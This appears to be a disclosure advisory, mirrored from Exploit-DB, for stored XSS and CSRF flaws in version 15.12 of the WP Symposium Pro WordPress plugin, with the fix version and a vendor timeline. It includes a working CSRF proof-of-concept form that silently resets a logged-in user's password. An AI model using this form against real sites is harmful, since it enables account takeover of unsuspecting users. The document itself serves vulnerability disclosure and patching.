WP Symposium Pro Social Network plugin

vendor:

by:

Rahul Pratap Singh

8,8

CVSS

HIGH

XSS and CSRF

79 (XSS) and 352 (CSRF)

CWE

Product Name: WP Symposium Pro Social Network plugin

Affected Version From: 15.12

Affected Version To: 15.12

Patch Exists: YES

Related CWE: Not assigned yet

CPE: a:wordpress:wp_symposium_pro_social_network_plugin

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

WP Symposium Pro Social Network plugin

The 'wps_usermeta_shortcodes.php' file contains a parameter that is not sanitized, leading to persistent XSS. The edit profile page is vulnerable to CSRF, which allows for a password change and full account takeover.

Mitigation:

Update to version 16.1

Source

Exploit-DB raw data:

#Product                : WP Symposium Pro Social Network plugin
#Exploit Author      : Rahul Pratap Singh
#Home page Link  : https://wordpress.org/plugins/wp-symposium-pro
#Version                : 15.12
#Website               : 0x62626262.wordpress.com
#Twitter                 : @0x62626262
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date                    : 8/Jan/2016

1) XSS Vulnerability:

Vulnerable Code:

file: wps_usermeta_shortcodes.php

"wpspro_country" parameter is not sanitized, that leads to persistent xss.

Video Demonstration:
https://www.youtube.com/watch?v=Xglc3rNZPXs

2) CSRF Vulnerability:

Description:

Edit profile page is vulnerable to CSRF, that allows to change password
which in turn leads to full account takeover.

Exploit:

<html>
  <body>
    <form action="http://localhost/wp422/wordpress/index.php/edit-profile/"
method="POST" enctype="multipart/form-data">
      <input type="hidden" name="wps&#95;usermeta&#95;change&#95;update"
value="yes" />
      <input type="hidden" name="wpspro&#95;display&#95;name" value="rahul"
/>
      <input type="hidden" name="wpspro&#95;firstname" value="hello1" />
      <input type="hidden" name="wpspro&#95;lastname" value="hello2" />
      <input type="hidden" name="wpspro&#95;email" value="&#13;" />
      <input type="hidden" name="wpsro&#95;home" value="hello4" />
      <input type="hidden" name="wpspro&#95;country" value="hello5" />
      <input type="hidden" name="wpspro&#95;password" value="asdf" />
      <input type="hidden" name="wpspro&#95;password2" value="asdf" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Video Demonstration:
https://www.youtube.com/watch?v=sN65HlCRe9c


Fix:

Update to version 16.1


Disclosure Timeline:

reported to vendor  : 6/1/2016
vendor response     : 6/1/2016
vendor acknowledged : 6/1/2016
vendor scheduled a patch: 7/1/2016
CVE Number : Not assigned yet